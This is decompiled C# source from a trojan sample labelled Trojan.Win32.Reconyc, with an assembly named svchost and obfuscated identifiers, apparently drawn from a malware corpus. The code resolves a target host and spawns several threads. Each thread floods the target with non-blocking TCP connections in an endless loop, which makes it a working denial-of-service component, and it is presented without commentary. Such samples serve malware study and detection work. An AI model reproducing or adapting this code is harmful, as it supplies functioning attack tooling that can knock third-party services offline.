// Decompiled with JetBrains decompiler // Type: ?1?.?2? // Assembly: svchost, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 0572F6A4-2AE0-441B-8B88-3FB3343AE211 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Reconyc.efsu-49381cd9042bc3cc4ed4ef172003f6330ee39256d57a554e08499cf3b3054e87.exe using \u003F1\u003F; using System; using System.Net; using System.Net.Sockets; using System.Threading; namespace \u003F1\u003F { internal class \u003F2\u003F { private static ThreadStart[] \u003F130\u003F; private static Thread[] \u003F131\u003F; public static string \u003F129\u003F; private static IPEndPoint \u003F79\u003F; public static int \u003F132\u003F; private static \u003F2\u003F.\u003F3\u003F[] \u003F133\u003F; public static int \u003F80\u003F; public static int \u003F134\u003F; public static void \u003F20\u003F() { try { \u003F2\u003F.\u003F79\u003F = new IPEndPoint(Dns.GetHostEntry(\u003F2\u003F.\u003F129\u003F).AddressList[0], \u003F2\u003F.\u003F132\u003F); } catch { \u003F2\u003F.\u003F79\u003F = new IPEndPoint(IPAddress.Parse(\u003F2\u003F.\u003F129\u003F), \u003F2\u003F.\u003F132\u003F); } \u003F2\u003F.\u003F131\u003F = new Thread[\u003F2\u003F.\u003F134\u003F]; \u003F2\u003F.\u003F130\u003F = new ThreadStart[\u003F2\u003F.\u003F134\u003F]; \u003F2\u003F.\u003F133\u003F = new \u003F2\u003F.\u003F3\u003F[\u003F2\u003F.\u003F134\u003F]; for (int index = 0; index < \u003F2\u003F.\u003F134\u003F; ++index) { \u003F2\u003F.\u003F133\u003F[index] = new \u003F2\u003F.\u003F3\u003F(\u003F2\u003F.\u003F79\u003F, \u003F2\u003F.\u003F80\u003F); \u003F2\u003F.\u003F130\u003F[index] = new ThreadStart(\u003F2\u003F.\u003F133\u003F[index].\u003F23\u003F); \u003F2\u003F.\u003F131\u003F[index] = new Thread(\u003F2\u003F.\u003F130\u003F[index]); \u003F2\u003F.\u003F131\u003F[index].Start(); } } public static void \u003F21\u003F() { for (int index = 0; index < \u003F2\u003F.\u003F134\u003F; ++index) { try { \u003F2\u003F.\u003F131\u003F[index].Suspend(); } catch { } } } private class \u003F3\u003F { private IPEndPoint \u003F79\u003F; private Socket[] \u003F135\u003F; private int \u003F80\u003F; public \u003F3\u003F(IPEndPoint _param1, int _param2) { this.\u003F79\u003F = _param1; this.\u003F80\u003F = _param2; } public void \u003F22\u003F(IAsyncResult _param1) { } public void \u003F23\u003F() { label_0: try { while (true) { this.\u003F135\u003F = new Socket[this.\u003F80\u003F]; for (int index = 0; index < this.\u003F80\u003F; ++index) { this.\u003F135\u003F[index] = new Socket(this.\u003F79\u003F.AddressFamily, SocketType.Stream, ProtocolType.Tcp); this.\u003F135\u003F[index].Blocking = false; AsyncCallback callback = new AsyncCallback(this.\u003F22\u003F); this.\u003F135\u003F[index].BeginConnect((EndPoint) this.\u003F79\u003F, callback, (object) this.\u003F135\u003F[index]); } Thread.Sleep(100); for (int index = 0; index < this.\u003F80\u003F; ++index) { if (this.\u003F135\u003F[index].Connected) this.\u003F135\u003F[index].Disconnect(false); this.\u003F135\u003F[index].Close(); this.\u003F135\u003F[index] = (Socket) null; } this.\u003F135\u003F = (Socket[]) null; } } catch { for (int index = 0; index < this.\u003F80\u003F; ++index) { try { if (this.\u003F135\u003F[index].Connected) this.\u003F135\u003F[index].Disconnect(false); this.\u003F135\u003F[index].Close(); this.\u003F135\u003F[index] = (Socket) null; } catch { } } goto label_0; } } } } }